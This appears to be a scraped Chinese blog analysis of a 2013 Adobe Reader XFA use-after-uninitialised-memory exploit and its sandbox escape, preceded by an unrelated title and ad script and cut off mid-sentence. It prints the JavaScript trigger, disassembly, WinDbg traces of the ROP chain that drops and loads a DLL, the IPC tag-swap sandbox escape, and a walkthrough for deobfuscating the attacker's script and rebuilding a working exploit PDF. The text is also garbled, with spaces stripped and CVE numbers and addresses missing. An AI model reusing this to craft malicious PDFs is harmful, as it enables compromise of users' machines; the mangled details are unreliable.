ENDO电子有没有什么特殊的红警2技巧与bug,比如BUG之类的

5.1技术回顾:CVE- AdobeReader任意代码执行漏洞分析
(window.slotbydup=window.slotbydup || []).push({
id: '2611110',
container: s,
size: '240,200',
display: 'inlay-fix'
您当前位置: &
[ 所属分类
| 时间 2015 |
一、前文背景
1)带漏洞的软件版本
AdobeReaderXI(11.0.01andearlier)forandMacintoshAdobeReaderX(10.1.5andearlier)forWindowsandMacintoshAdobeReader9.5.3andearlier9.xversionsforWindows,MacintoshandAdobeAcrobatXI(11.0.01andearlier)forWindowsandMacintoshAdobeAcrobatX(10.1.5andearlier)forWindowsandMacintoshAdobeAcrobat9.5.3andearlier9.xversionsforWindowsandMacintosh
2)关于AdobeReader阅读器
这篇文章是关于CVE-安全漏洞的技术分析报告,它存在于AbobeReader软件的9、10、11这几个版本之下;该漏洞在2013年2月第一次被发现,在当时该漏洞已经很活跃了,本文包含了该漏洞的所有细节分析;AdobeReader是由AdobeSystem公司开发的一个PortableDocumentFormat(PDF)阅读器.AdobeXMLformsarchitecture(XFA)是用XML格式指定来嵌入到PDF文档内部一个组件,它第一次是在PDF1.5的格式文档中被指定和使用,被保存于PDF内部,但该格式中存在大量的Bug.
3)关于CVE-漏洞
在2013年二月份的时候,Adobe安全事件响应团队释放了名为securityadvisoryAPSA13-02的安全报告,在安全报告中说到有两个安全漏洞被广泛的利用(CVE-和CVE-);Intel实验室和McAfee实验室最先放出分析报告.
二、漏洞原因
1)代码分析
这个漏洞主要通过利用脚本组件来植入到XFA表单里面,通过ROP技术来突破DEP和ASLR防护,从而控制软件上下文环境,获得权限.在下面的XFA表单中包含两个subform,第一个subform包含了一个choiceList对象,第二个subform包含了一个简单的绘画对象(如下).
&templatexmlns="http://www.xfa.org/schema/xfa-template/2.8/"&&subformname="form1"&&pageSet&&pageAreaname="page1"&&contentArea/&&subform&&fieldname="field0"&&ui&&choiceList&&/choiceList&&/ui&&/field&&/subform&&/pageArea&&/pageSet&&subform&&drawname="rect1"/&&/subform&&/subform&
上面的代码序列中包含一个Bug,这个Bug可以被JavaScript代码触发;首先要保存已经被使用过的choiceList对象的一个引用,然后第二个subform的绘画对象的keep.previous被改变为contentArea;之后,choiceList引用对象被重新附加到第一个subform,现在Bug被触发(如下).
functionTrigger(){MessWithTheMemory();xfa.resolveNode("xfa[0].form[0].form1[0].#pageSet[0].page1[0].#subform[0].field0[0].#ui").oneOfChild=choiceL}varchoiceList=functionStart(){choiceList=xfa.resolveNode("xfa[0].form[0].form1[0].#pageSet[0].page1[0].#subform[0].field0[0].#ui[0].#choiceList[0]");xfa.resolveNode("xfa[0].form[0].form1[0].#subform[0].rect1").keep.previous="contentArea";ddd=app.setTimeOut("Trigger();",1);}Start();
2)汇编分析
AbobeReader崩溃于AcroForm_api模块中,在崩溃前面函数位置0x20907FA0被调用,为了方便,这个函数调用的是UseTheUninitializedValue;它第一个调用的函数位置在0x209D76AE,名字为GetTheBrokenObject.调用之后在对象的结构加一,大概为一个引用计数吧;最后在结构偏移位置0x3C的地方被赋值,如果对象结构位置0x3C的地方不是NULL,那么将会使用0x3C地方的值来调用函数位置于0x,名称为crash_here,这个位置就是崩溃点(如下汇编代码).
.text:20907FA0UseTheUninitializedValue.text:20907FA0.text:20907FA0var_10=dwordptr-10h.text:20907FA0var_4=dwordptr-4g.text:20907FA0arg_0=dwordptr8.text:20907FA0arg_4=dwordptr0Ch.text:20907FA0arg_8=dwordptr10h.text:20907FA0.text:20907FA0push4.text:20907FA2moveax,offsetsub_20CE45C9.text:20907FA7call__EH_prolog3.text:20907FACmovebx,ecx.text:20907FAEand[ebp+var_10],0.text:20907FB2push[ebp+arg_8].text:20907FB5leaeax,[ebp+arg_8].text:20907FB8push[ebp+arg_4].text:20907FBBpusheax.text:20907FBCcallGetTheBrokenObject//从这里获得未初始化的对象.text:20907FC1movesi,[eax].text:20907FC3testesi,esi.text:20907FC5mov[ebp+arg_4],esi.text:20907FC8jzshortloc_20907FCD.text:20907FCAincdwordptr[esi+4]//对象引用计数器?.text:20907FCD.text:20907FCDloc_20907FCD:.text:20907FCDleaecx,[ebp+arg_8].text:20907FD0mov[ebp+var_4],1.text:20907FD7callsub_208A7FA1.text:20907FDCmovedi,[ebx+3Ch].text:20907FDFtestedi,edi.text:20907FE1jzshortloc_.text:20907FE3cmpdwordptr[esi+3Ch],0//如果为0,跳过调用..text:20907FE7jzshortloc_20907FF2.text:20907FE9movecx,[esi+3Ch]//这里的内存未被初始化..text:20907FECpushebx.text:20907FEDcallcrash_here
在对象结构0x3C的地方是一个将被使用的指针,但这个指针是无效的,于是AdobeReader在后面的引用该指针的时候就发生了崩溃(如下汇编代码).
.text:crash_here.text:arg_0=dwordptr4.text:.text:pushesi.text:pushedi.text:movedi,ecx//EDI是无效值.text:movesi,[edi+40h].text:209063BBtestesi,esi.text:209063BDjzshortloc_209063FE....text:209063FEloc_209063FE:.text:209063FE.text:209063FEpopedi.text:209063FFpopesi.text:retn4text:crash_hereendp
在上面代码中由于EDI被赋予了一个无效值,现在我们需要跳回到对象结构的构造函数.该函数位置于0x209D8D71,名称为InitializeBrokenObject.这个函数是构造一个对象结构,让我们看下它的汇编代码;注意0x3C的地方从来没有被初始化过(如下汇编代码).
.text:209D8D71InitializeBrokenObject.text:209D8D71.text:209D8D71arg_0=dwordptr4.text:209D8D71arg_4=dwordptr8.text:209D8D71arg_8=dwordptr0Ch.text:209D8D71.text:209D8D71pushesi.text:209D8D72push[esp+4+arg_0].text:209D8D76movesi,ecx.text:209D8D78callsub_209E7137//ECX被赋予第二个参数..text:209D8D7Dmovecx,[esp+4+arg_4]//vtable..text:209D8D81movdwordptr[esi],offsetbroken_object.text:209D8D87moveax,[ecx].text:209D8D89xoredx,edx.text:209D8D8Bcmpeax,edx.text:209D8D8Dmov[esi+24h],eax.text:209D8D90jzshortloc_209D8D95.text:209D8D92incdwordptr[eax+4].text:209D8D95.text:209D8D95loc_209D8D95://Offset0x3cisnotset..text:209D8D95moveax,[esp+4+arg_8].text:209D8D99mov[esi+2Ch],eax.text:209D8D9Cmov[esi+30h],edx.text:209D8D9Fmov[esi+34h],edx.text:209D8DA2mov[esi+38h],edx.text:209D8DA5moveax,off_20E93D74.text:209D8DAAanddwordptr[esi+28h],0FFFFFFF0h.text:209D8DAEmov[esi+0Ch],eax.text:209D8DB1movdwordptr[esi+10h],0C9h.text:209D8DB8movecx,[ecx].text:209D8DBAcmpecx,edx.text:209D8DBCjzshortloc_209D8DC1.text:209D8DBEmov[ecx+3Ch],esi.text:209D8DC1.text:209D8DC1loc_209D8DC1:.text:209D8DC1moveax,esi.text:209D8DC3popesi.text:209D8DC4retn0Ch.text:209D8DC4InitializeBrokenObjectendp
相信前面的内存使用,ESI+0x3C的值可能已经被改变,如果它是0,那么崩溃点将会被跳过并且没有任何事情发生;否则可能发生崩溃.到这里这个Bug分析就结束了,接下来的事情就是控制未初始化数据的值并且利用该Bug来植入可执行代码,这将是后面我们关注的焦点.
3)控制权限
继续接着上面讲,如果对象结构0x3C处的地方为0,那么将会跳走,没有任何事情发生;否则,可能调用到崩溃点.但如果对象结构0x3C的地方被赋予一个特定的地址,这个逻辑就会改变,那么崩溃函数将不再崩溃,继续执行.接下来对象结构0x3C处的指针加偏移0×4的位置减去1,如果不为零,仍然会跳走;否则对象结构0x3C的地方将会被调用.
.text:208A54A9movedi,[edi+3Ch];如果碰巧是0,跳过崩溃的函数..text:208A54ACtestedi,edi.text:208A54AEjzshortloc_208A54E0.text:208A54B0cmpdwordptr[esi+3Ch],0;是否为0?.text:208A54B4jzshortloc_208A54C1.text:208A54B6pushdwordptr[ebp-10h].text:208A54B9movecx,[esi+3Ch];这里的内存未被初始化..text:208A54BCcallcrash_here.text:208A54C1.text:208A54C1loc_208A54C1:;CODEXREF:.text:208A54B4j.text:208A54C1incdwordptr[edi+4].text:208A54C4movecx,[esi+3Ch].text:208A54C7testecx,无效值.text:208A54C9jzshortSkipExploitPoint.text:208A54CBdecdwordptr[ecx+4];[[结构对象+0x3C]+0x4]==0?:继续:跳走.text:208A54CEjnzshortSkipExploitPoint.text:208A54D0moveax,[ecx];无效指针,被攻击者填充的内存..text:208A54D2pushebx.text:208A54D3calldwordptr[eax];触发虚函数调用.text:208A54D5.text:208A54D5SkipExploitPoint:;CODEXREF:.text:208A54C9j
三、利用分析
CVE-利用的大致方式为,使用堆栈溢出来改写一个错误的虚函数指针,通过上面calldwordptr[eax]这一行汇编代码来触发调用,并且使用了一个内存地址泄漏漏洞来绕过ASLR(地址随机布局化),并且使用ROP技术来绕过DEP(数据执行保护).
.text:208A54D3calldwordptr[eax];通过前面修改的虚函数指针,这行会触发虚函数调用.现在指令将会调用到一个ROP链地址,它是ROP链的出发点.第一个RO地址为0x209b9f50,看下该处的汇编代码(如下)..text:209B9F42moveax,[ecx+4].text:209B9F45testeax,eax.text:209B9F47jzshortloc_209B9F57.text:209B9F49pusheax.text:209B9F4Amoveax,dword_2128C66C.text:209B9F4Fcalldwordptr[eax+5Ch].text:209B9F52popecx.text:209B9F53movzxeax,ax.text:209B9F56retn
但是,如果从0x209b9f50开始解码,这里存在一个堆栈溢出,EAX会改写ESP寄存器的值;这将会指向ROP链的冒牌堆栈,看下汇编代码(如下).
.text:209B9F42moveax,[ecx+4].text:209B9F45testeax,eax.text:209B9F47jzshortloc_209B9F57.text:209B9F49pusheax.text:209B9F4Amoveax,dword_2128C66C.text:209B9F4A;---------------------------------------------------------------------------.text:209B9F4Fdb0FFh.text:209B9F50;---------------------------------------------------------------------------.text:209B9F50pusheax.text:209B9F51popesp.text:209B9F52popecx.text:209B9F53movzxeax,ax.text:209B9F56retn
现在堆栈指向一个在堆上的冒牌堆栈,在调试器中运行的时候,上面的堆栈变换过程看起来像下面这个样子;首先在模块装载时断下(sxeldAcroForm.api),然后算出0x209b9f50的偏移地址0x1B9F50加上模块装载基址;用bp指令下断点,当这行AcroForm!DllUnregisterServer+0x135ae执行完毕以后,ESP寄存器被EAX改写了,EAX是指向一个冒牌堆栈.(如下).
0:009&sxeldAcroForm.api(780.a0c):C++EHexception-codee06d7363(firstchance)ModLoad:bd000C:\ProgramFiles(x86)\Adobe\Reader11.0\Reader\plug_ins\AcroForm.apieax=ebx=ecx=edx=esi=0050dc50edi=0050dc18eip=00b6c622esp=0050dae4ebp=0050db20iopl=0nvupeiplnznapenccs=0023ss=002bds=002bes=002bfs=0053gs=002befl=00b6caddesp,40:000&peax=ebx=ecx=edx=esi=19b8ef2cedi=074bee48eip=616c9f51esp=0050dd5cebp=0050dd9ciopl=0nvupeiplzrnapenccs=0023ss=002bds=002bes=002bfs=0053gs=002befl=AcroForm!DllUnregisterServer+0x135ae:616c9f515cpopesp0:000&peax=ebx=ecx=edx=esi=19b8ef2cedi=074bee48eip=616c9f52esp=ebp=0050dd9ciopl=0nvupeiplzrnapenccs=0023ss=002bds=002bes=002bfs=0053gs=002befl=AcroForm!DllUnregisterServer+0x135af:616c9f5259popecx
如果冒牌堆栈现在开始工作,它将开始执行更多的RO地址,当后面的RET指令被执行的时候,堆栈现在看起来像下面这个样子,这是一个冒牌堆栈(如下).
eax=ebx=ecx=616c9f50edx=esi=19b8ef2cedi=074bee48eip=616c9f56esp=ebp=0050dd9ciopl=0nvupeiplzrnapenccs=0023ss=002bds=002bes=002bfs=0053gs=002befl=AcroForm!DllUnregisterServer+0x135b3:616c9f56c3ret0:000&ddesp1049104910491049104910491049511049
上面堆栈中的地址是AcroForm.api模块装载基址偏移0×1049处的地址,这也是ROP链中的一个地址;通过把该地址的代码解码,变成了RET指令,看下汇编代码(如下).
.text:testebx,eax.text:2080104Ajzshortloc_//解码后.text:h.text:;---------------------------------------------------------------------------.text:retn.text:2080104A;---------------------------------------------------------------------------
当上面RET指令开始执行的时候,总共执行RET指令0×2480次,也就是.text:retn会重复执行0×2480次(如下).
0:000&ddesp+0x248011845dbc618dd41a61a6855161dae11845dccbd51a61a6855161dae00511845ddc61bd6a6855111845dec61daebd51a11845dfc61a6855161dae00d61b0bd51a61a6855161dae00e61b78699a61a6855161dae012ba685510:000&ddesp+0x247c1a61a6855161dae001119bd51a61a685511daebd51a155161dae16874611bd51a61a6855161dae00d61b78699a61a6855161dae00eba68551daebd51a
现在看下esp+0×2480处的内容是什么数据,为了方便理解,我把ROP链esp+0×2480处的数据和指令地址依次放在下面讲解该段代码的流程,第一段ROP链的地址是填充函数字符串到指定内存位置(如下).
0:000&u618dd41aAcroForm!DllUnregisterServer+0x226a77:618dd41a54pushesp618dd41b5epopesi;这里可以看成堆栈平衡618dd41cc3ret;返回到[esp+0x处的代码地址0:000&u61a68551AcroForm!DllUnregisterServer+0x3b1bae:61a6855158popeax;弹出[esp+0x处的地址到EAX寄存器,这个地址是可写入的一段空内存.61a68552c3ret;返回到[esp+0x2480]+0xC处的代码地址AcroForm!DllUnregisterServer+0x4c1cf6:61b7869959popecx;弹出[esp+0x处的数据字符串到ECX寄存器61b7869ac3ret;返回到[esp+0x2480]+0xC处的代码地址0:000&u619bd51aAcroForm!DllUnregisterServer+0x306b77:619bd51a8908movdwordptr[eax],ecx;保存ECX寄存器的字符串到EAX的空内存里面619bd51cc3ret;后面的省略,其填充的函数字符窜如下.61dae56dGetTempPathA.fwrit61dae46fe.wb.CryptStringTo61dae46c6cBinaryA.ntdll.RtlD61daed7763ecompressBuffer.wc61dae5436fsstr.
填充了函数字符串之后,注意下面的这段汇编代码,所有API调用都会经过下面代码中的CALL,这段ROP大概主要就是依次获取上面函数地址,然后填充内存;第一个调用的API是LoadLibraryA,其装载模块的参数为MSVCR100.dll,ESP寄存器指针指向的第一个数据地址便是LoadLibraryA的参数地址.
eax=61b7b234ebx=ecx=edx=esi=11845dc0edi=11845ffceip=61a292acesp=11845fbcebp=0050dd9ciopl=0nvupeiplnznapenccs=0023ss=002bds=002bes=002bfs=0053gs=002befl=AcroForm!DllUnregisterServer+0x372909:61a292acff10calldwordptr[eax]ds:002b:61b7b234={kernel32!LoadLibraryA(75424bc6)}堆栈数据:11845fbc61dacea68551cccc022ce567b615bedb参数指针:61dace464d302e646c6cMSVCR100.dll....第二个调用的API是GetProcAddress,参数1为MSVCR100.dll模块基址,参数2是wcsstr(如下)eax=61b7b1ecebx=ecx=edx=00d5755cesi=11845dc0edi=11845feceip=61a292acesp=11845fecebp=0050dd9ciopl=0nvupeiplnznaponccs=0023ss=002bds=002bes=002bfs=0053gs=002befl=AcroForm!DllUnregisterServer+0x372909:61a292acff10calldwordptr[eax]ds:002b:61b7b1ec={kernel32!GetProcAddress()}
堆栈数据:11845fecdae61a061b986aa87664
参数指针:61daed26365wcsstr.
当kernel32!GetTempPathA地址被读取以后,就开始API调用了,第一个调用的API是GetTempPathA,其获得临时文件夹路径,看下汇编代码(如下).
0:000&peax=75442b74ebx=ecx=edx=esi=11845dc0edi=eip=esp=118462acebp=iopl=0nvupeiplnznapenccs=0023ss=002bds=002bes=002bfs=0053gs=002befl=AcroForm!PlugInMain+0xc26a:ffe0jmpeax{kernel32!GetTempPathA(75442b74)}
之后用fopen函数往Abobe沙盒临时路径写文件,其参数1为C:\Users\ADMINI~1\AppData\Local\Temp\acrord32_sbx\D.T,其参数2为wb,看下汇编代码(如下).
0:000&peax=61b7b660ebx=ecx=edx=0000019eesi=11845dc0edi=118463bceip=esp=ebp=iopl=0nvupeiplnznaponccs=0023ss=002bds=002bes=002bfs=0053gs=002befl=AcroForm!PlugInMain+0xc0b3:***ERROR:Symbolfilecouldnotbefound.DefaultedtoexportsymbolsforC:\Windows\system32\MSVCR100.dll-ff20jmpdwordptr[eax]ds:002b:61b7b660={MSVCR100!fopen(66793dcc)}0:000&dd
堆栈数据:a8768d61dae10161dae
参数指针:
61daecc7e315cC:\Users\ADMINI~1\61daec6f56d70AppData\Local\Temp61daef00\acrord32_sbx\D.T.
参数指针:61daef4269wb.
写入文件过程省略,当写入完毕之后,使用fclose函数关闭文件指针,看下汇编代码(如下)
0:000&peax=61b7b584ebx=ecx=edx=esi=11845dc0edi=eip=esp=ebp=iopl=0nvupeiplnznaponccs=0023ss=002bds=002bes=002bfs=0053gs=002befl=AcroForm!PlugInMain+0xc0b3:ff20jmpdwordptr[eax]ds:002b:61b7b584={MSVCR100!fclose()}
当文件被写入完毕之后,代码将继续调用LoadLibraryA函数来装载刚才写入到沙盒临时路径的D.T文件,其全路径也就是参数为
C:\Users\ADMINI~1\AppData\Local\Temp\acrord32_sbx\D.T,看下汇编代码(如下).0:000&peax=61b7b234ebx=ecx=edx=002ee3b8esi=11845dc0edi=eip=61a292acesp=ebp=iopl=0nvupeiplzrnapenccs=0023ss=002bds=002bes=002bfs=0053gs=002befl=AcroForm!DllUnregisterServer+0x372909:61a292acff10calldwordptr[eax]ds:002b:61b7b234={kernel32!LoadLibraryA(75424bc6)}0:000&dd
堆栈数据:dae1b7b0d461a292ac
参数指针:
61daecc7e315cC:\Users\ADMINI~1\61daec6f56d70AppData\Local\Temp61daef00\acrord32_sbx\D.T.
四、逃离沙盒
CVE-被用于沙箱攻击,D.T加载后负责创建另一个名为L2P.T的动态链接库,并让中间调用进程完成加载过程来逃离沙箱;当D.T被进程加载以后(线程方式加载DLL无效),会进行一些其他的初始化操作(如进程句柄Duplicate),然后等待DLL卸载的时候,会创建两个线程,线程1负责显示一个错误消息,线程2负责进行沙箱攻击,当阅读器版本小于等于8的时候,不进行攻击;否则进行沙箱攻击,看下汇编代码流程(如下).
.text:callGetReaderVersion.text:cmpeax,8.text:1000236Cjbeshortloc_;jumptabledefaultcase.text:1000236Epush0;.text:push0;.text:push0;.text:pushoffsetBypassSlpStartAddress.text:push100000h;dwStackSize.text:1000237Epush0;.text:callCreateT创建逃离沙箱线程.text:loc_:.text:DWORD__stdcallBypassSandbox(LPVOID).text:BypassSandboxprocnear.text:callSuspendOtherT负责挂起进程的其他线程.text:callGetReaderV获得阅读器版本.text:100022FBmovreader_version,eax.text:callCreateL2P_T;创建L2P.T动态库文件.text:cmpreader_version,9.text:1000230CjbeshortLoadDll_L2P_T;版本小于等于9,直接装载L2P.T到当前进程,版本9以下没有沙箱?.text:1000230EcallEscapeS绕过沙箱.text:push0;uExitCode.text:callExitP退出进程
其漏洞原因是沙箱未对A系列和W系列API进行正确区分;其中A系函数的系统拷贝缓冲区是多字节长度,但W系函数是拷贝缓冲区应该为多字节长度×2,漏洞存在于沙箱进程的RegisterClipboardFormatA函数,先看一个沙箱调用API的结构(如下).
StructIPCCall{·CallbackIPCtag//APItag·Parameterinformation//参数信息·Callbackroutineaddress//调用地址}//structure
根据上面这个结构,攻击者调用RegisterClipboardW函数注册ROP数据代码地址0×8080020到共享内存,并且构造了RegisterClipboardFormatA函数的IPCCall结构信息,APItag为0×74,之后强行更改APItag为0×73,通过lpc机制发送到中间调用进程,中间调用进程根据APItag调用API,0×73是调用的W系函数,实际拷贝缓冲区为大小×2,之后拷贝ROP_shellcode到共享内存,最后拷贝ROP_shellcode到RegisterClipboardW注册的数据地址,导致一些虚函数指针被覆盖,当中间进程收到API调用请求以后,在中间调用进程的AcroRd32.exe+0x9728A位置处处获得控制权限,从而实现了沙箱攻击.最先调用RegisterClipboardW注册和触发共享内存,其数据为0×80大小unsignedlong类型的数据,数据填充为ROP数据地址8080020h,其汇编代码(如下).
.text:10001D71RegisterClipboardprocnear.text:10001D71var_208=dwordptr-208h.text:10001D71var_204=dwordptr-204h.text:10001D71szFormat=wordptr-200h.text:10001D71var_2=wordptr-2..............................................................................................text:10001D7Cloc_10001D7C:.text:10001D7Cmovdwordptr[ebp+eax*4+szFormat],8080020h.text:10001D87inceax.text:10001D88cmpeax,80h;构建0x80大小的unsignedlong类型缓冲区,其数据为.text:10001D8Djbshortloc_10001D7C.text:10001D8Fmov[ebp+var_2],0.text:10001D95cmpreader_version,0Ah.text:10001D9Cjnzshortloc_10001E12;判断阅读器版本号..............................................................................................text:10001E12loc_10001E12:.text:10001E12leaeax,[ebp+szFormat];注册ROP_shellcode数据代码地址.text:10001E18lpszFormat.text:10001E19callRegisterClipboardFormatW..............................................................................................text:10001E22RegisterClipboardendp
之后进行ROP布局,其ROP布局如下,获得大小为0xC800000的共享内存,并占位缓冲区前面1000字节,之后计算ROP_shellcode开始拷贝的地址,按0×400大小方式拷贝对其,一直拷贝到内存结束,其汇编代码和数据(如下).
.text:10002B4Drop_CODEXREF:EscapeSandbox+24p.text:10002B4D.text:10002B4Dvar_400=dwordptr-400h.text:10002B4Dsrc=dwordptr-380h.text:10002B4Darg_0=dwordptr8.text:10002B4Dpushebp.text:10002B4Emovebp,esp.text:10002B50subesp,400h.text:10002B56pushebx.text:10002B57pushesi.text:10002B58pushedi.text:10002B59movebx,[ebp+arg_0];要分配的内存大小0xC800000.text:10002B5CpushoffsetB构造的L2P.T路径缓冲区.text:10002B61leaeax,[ebp+rop_buffer];存放ROP链的缓冲区..text:10002B67pusheax.text:10002B68callmake_rop_建立rop链表,其ROP数据如下.text:10002B6Dpushebx.text:10002B6Ecallsub_;获得共享内存.........................................................................text:10002B76addebx,计算共享内存束地址.text:10002B78movedi,esi.text:10002B7Apush3E0h.text:10002B7Fleaeax,[ebp+src].text:10002B85pusheax.text:10002B86pushedi.text:10002B87callsub_;占位内存前面1000字节.text:10002B8Caddesp,0Ch.text:10002B8Faddedi,3E0h;计算ROP_shellcode开始拷贝的地址.text:10002B95jmpshortloc_10002BB2.text:10002B97loc_10002B97:;CODEXREF:rop_shellcode+6D_x0019_j.text:10002B97push400h.text:10002B9Cleaeax,[ebp+rop_buffer].text:10002BA2pusheax.text:10002BA3pushedi.text:10002BA4callsub_;拷贝ROP_shellcode到共享内存.text:10002BA9addesp,0Ch.text:10002BACaddedi,400h;计算下次拷贝的地址.text:10002BB2loc_10002BB2:;CODEXREF:rop_shellcode+48j.text:10002BB2leaeax,[edi+400h].text:10002BB8cmpeax,ebx.text:10002BBAjbshortloc_10002B97;循环拷贝ROP_shellcode到内存结束0:005&ddsebp-400h1b5ef1b5ef1b5ef1b5ef59c1b5ef5a1b5ef5a1b5ef5a1b5ef5ac1b5ef5b0765214ebCLBCatQ+0x14eb1b5ef5b4765214ebCLBCatQ+0x14eb1b5ef5bCLBCatQ!GetCatalogObject2+0xe711b5ef5bcCLBCatQ!OpenComponentLibraryOnMemEx+0x22e91b5ef5c0765214ebCLBCatQ+0x14eb1b5ef5c4765214ebCLBCatQ+0x14eb1b5ef5c8765214ebCLBCatQ+0x14eb1b5ef5cc75a01e12kernel32!LoadLibraryW1b5ef5d0765214ebCLBCatQ+0x14eb1b5ef5d1b5ef5d875a010efkernel32!Sleep1b5ef5dc765214ebCLBCatQ+0x14eb
然后再构建0x9C大小的RegisterClipboardFormatA函数lpc缓冲区数据,数据设置为0×42,静态变量D.T+initOLEcontainer+0x2b0b0为构建IPCCall的Ipc缓冲区,调用APItag为0×73,也就是W系列函数,其汇编代码(如下).
0:011&eax=1934d43cebx=ecx=edx=esi=edi=0000009ceip=19321ea5esp=1b8df938ebp=1b8dfb4ciopl=0nvupeiplnzacpenccs=0023ss=002bds=002bes=002bfs=0053gs=002befl=D+0x1ea5:1cd43419pushoffsetD!initOLEcontainer+0x2b0b0(1934d43c)0:011&dd1934d43c00000000000000000002000024ffffffff1934d49cffffffff424242
现在,调用流程转到了另一个中间调用进程,中间调用进程通过IPC机制与沙盒进程来传递IPCCall信息;当中间调用进程执行到AcroRd32.exe+0x9728A处,开始调用OpenComponentLibraryOnMemEx函数的时候,发生了堆栈溢出,从而改变了ESP指针,进行第二次攻击,其汇编代码(如下).
0:006&uAcroRd32.exe+0x9728a0139728affd0控制点
中间调用进程调用OpenComponentLibraryOnMemEx函数,发生了堆栈溢出,EDX的数据是布置的rop_shellcode代码,函数调用结束的时候EDX被反弹到ESP寄存器.
eax=75eb1566ebx=03d4f518ecx=10d8dd30edx=esi=edi=10d8dd30eip=0031728aesp=024efc60ebp=024efc70iopl=0nvupeiplnznapenccs=0023ss=002bds=002bes=002bfs=0053gs=002befl=0031728affd0calleax{CLBCatQ!OpenComponentLibraryOnMemEx+0x22e9(75eb1566)}CLBCatQ!OpenComponentLibraryOnMemEx+0x22e9:pushedxcpopespdpopebp00ret8
ROP数据代码
0:002&ddse814ebCLBCatQ+0x14ebe814ebCLBCatQ+0x14ebe84527CLBCatQ!GetCatalogObject2+0xe71eb1566CLBCatQ!OpenComponentLibraryOnMemEx+0x22e9e814ebCLBCatQ+0x14ebe814ebCLBCatQ+0x14ebe814ebCLBCatQ+0x14eb11e12kernel32!LoadLibraryWe814ebCLBCatQ+0x14eb//返回地址080054】//路径数据地址10efkernel32!Sleepe814ebCLBCatQ+0x14ebee80AcroRd32+0xeee80【】C:\Users\ADMINI~1\AppData\Local\Temp\acrord32_sbx\L2P.T
OpenComponentLibraryOnMemEx调用完毕之后,ESP返回地址被改变,接下来调用ROP_shellcode数据地址CLBCatQ+0x14eb的时候,ESP指针寄存器指向的堆栈地址已经被改变,其汇编代码(如下).
0:002&bpCLBCatQ+0x14ebeax=ebx=0389fba8ecx=【edx=】esi=01f94210edi=eip=758214eb【esp=】ebp=758214ebiopl=0nvupeiplnznapenccs=0023ss=002bds=002bes=002bfs=0053gs=002befl=758214ebc3ret
当中间进程CLBCatQ+0x14eb连续调用3次之后,返回地址调用到LoadLibraryW,并加载保存的L2P.T路径,完成后返回到Sleep进行延时3600000毫秒,最后攻击完成,其汇编代码(如下).
0:002&bpLoadLibraryWeax=75eb1566ebx=03d4f518ecx=10d8dd30edx=esi=edi=10d8dd30eip=76511e12esp=ebp=75e814ebiopl=0nvupeiplnznapenccs=0023ss=002bds=002bes=002bfs=0053gs=002befl=kernel32!LoadLibraryW:bffmovedi,edi0:002&ddespe814eb【ebeax=ebx=0389fba8ecx=edx=esi=01f94210edi=eip=75ae10efesp=0808004cebp=758214ebiopl=0nvupeiplzrnapenccs=0023ss=002bds=002bes=002bfs=0053gs=002befl=kernel32!Sleep:75ae10ef8bffmovedi,edi0:002&ddesp214eb【3ac
五、样本还原
在程序界有句致礼名言:“不要重复发明轮子”;这句话说的很对,这里把这句话改写一下:“要站在巨人的肩膀上改造轮子,发明出更精良的轮子”.为什么?如果我们从现在开始重写样本,一、重写时间不够。二、样本不稳定.原样本是攻击者精心策划的,很多机器测试过的,做得肯定比我们好.第一步要做的是:找到网络上该漏洞的所有资料,全部浏览一遍,然后再用哪看哪.现在来还原攻击样本被攻击者混淆过的js代码,写个小工具来还原被混淆过的js代码.原来的js代码(如下).
/JS(\n0&&0&&0&&0&&0&&0;\nfunctionsHOGG\(c,d,e\){\nvaridx=d%c.\nvars="";\nwhile\(s.length&c.length\){\ns+=c[idx];\nidx=\(idx+e\)%c.\n}\\n}\n0&&0&&0&&0&&0&&0;\nfunctionoTHERWISE\(pRENDENDO,t\){\nif\(pRENDENDO==sHOGG
看下混淆还原后的代码;请注意,第一个函数为解密字符串的函数,把它写入到还原脚本里面还原被加密的字符串,省得占篇幅,缩进一下代码(如下).
(0&&0&&0&&0&&0&&0;functionsHOGG(c,d,e){//解密字符串的函数,把这个函数改写为你的脚本函数,然后依次判断加密字符串并还原.varidx=d%c.vars="";while(s.length&c.length){s+=c[idx];idx=(idx+e)%c.}}
//该函数调用:if(pRENDENDO==sHOGG('014.031.4.',))//混淆还原后为if(pRENDENDO=="10.0.1.434")
混淆还原之后,拷贝js代码到桌面上,运行一下,看下有没有什么地方漏过了;经过修正错漏的脚本之后,运行提示6535行错误(如下).
mONDIZIA=true?app:这是微软JS脚本解释器没有的东西,当然,这句代码也是多此一举.
混淆还原没什么问题了,现在构建一个最基本的PDF文件;根据CVE-漏洞利用所需的关键对象给拷贝进去(用Notepad++编辑脚本),PDF文件结构可以使用Notepad++和PdfStream查看;这里把漏洞所需的XFA表单和js代码拷贝进我们构建的PDF文件,修正一下对象长度(如下).
60obj&&/Length3475&&stream//这里的长度需要修正为对象数据真实的长度.
现在接着用Notepad++查看PDF中的js代码,把一些无用的js代码给精简改写一下,把一些没有使用的函数和变量给去掉(如下).
functionbRIGATA(pERDERE){//未使用的函数console.println(pERDERE.toString());}//varaSTERISK=//未使用的全局变量//functioncINQUANTA(){if(aSTERISK==true){//无效的变量判断console.hide();console.clear();console.show();}
现在有了一份经过精简后的PDF,JS脚本里面存在了很多算术表达式,使用PdfStream工具把脚本的算术表达式还原一下,用PdfStream装载目标Pdf文件,切换到脚本对象编辑框,点击JaveScript_UI菜单,然后点击JaveScript_UI对话框最右边的菜单选项的第二项菜单,进行还原(如下).
sIIESTRI["11.001"]["sCHIUMA"]=(2*61);//算术表达式sIIESTRI["11.001"]["sCHIUMA"]=(0x7A);//十六进制
现在应该还不能触发漏洞,接下来要做的就是最辛苦的工作了,代码重构.样本中的js代码的函数名称和变量名称经过严重的名称混淆,需要根据找到的所有资料和前面得出的分析基础,进行重构js代码,一步一步理解并还原这些函数和变量名称.被混淆过的js代码的一些范例(如下).
functionpERMANENDO(s){//功能是删除下划线,并前移字符串.命名为functionReplaceNextHorizontalLine(s)varret=s.replace(/_/g,'');}pRESSURA=eval(pERMANENDO("un__es_ca______pe"));功能同等于unescape函数,换pRESSURA为unescape,并删掉这行dISCESA=pERMANENDO("%___u");//功能同等于"%_u",替换dISCESA为"%_u"
接着找到之前拥有的资料,对比函数、变量并替换掉现成的名称;如果没有资料的,可以写一段功能同等的代码进行测试功能,然后再修正其为正确的名称;这是第一次修正,第二次在调试样本不触发的原因的时候修正(如下).
varobjNumber=0;functioncHIAMERANNO(cARDINI){eQUIVALENT(cARDINI);vareNGLISH=xfa.resolveNode("xfa[0].form[0].form1[0].#pageSet[0].page1[0].#subform[0].field"+objNumber+"[0].#ui");
根据资料,可以修正其为:
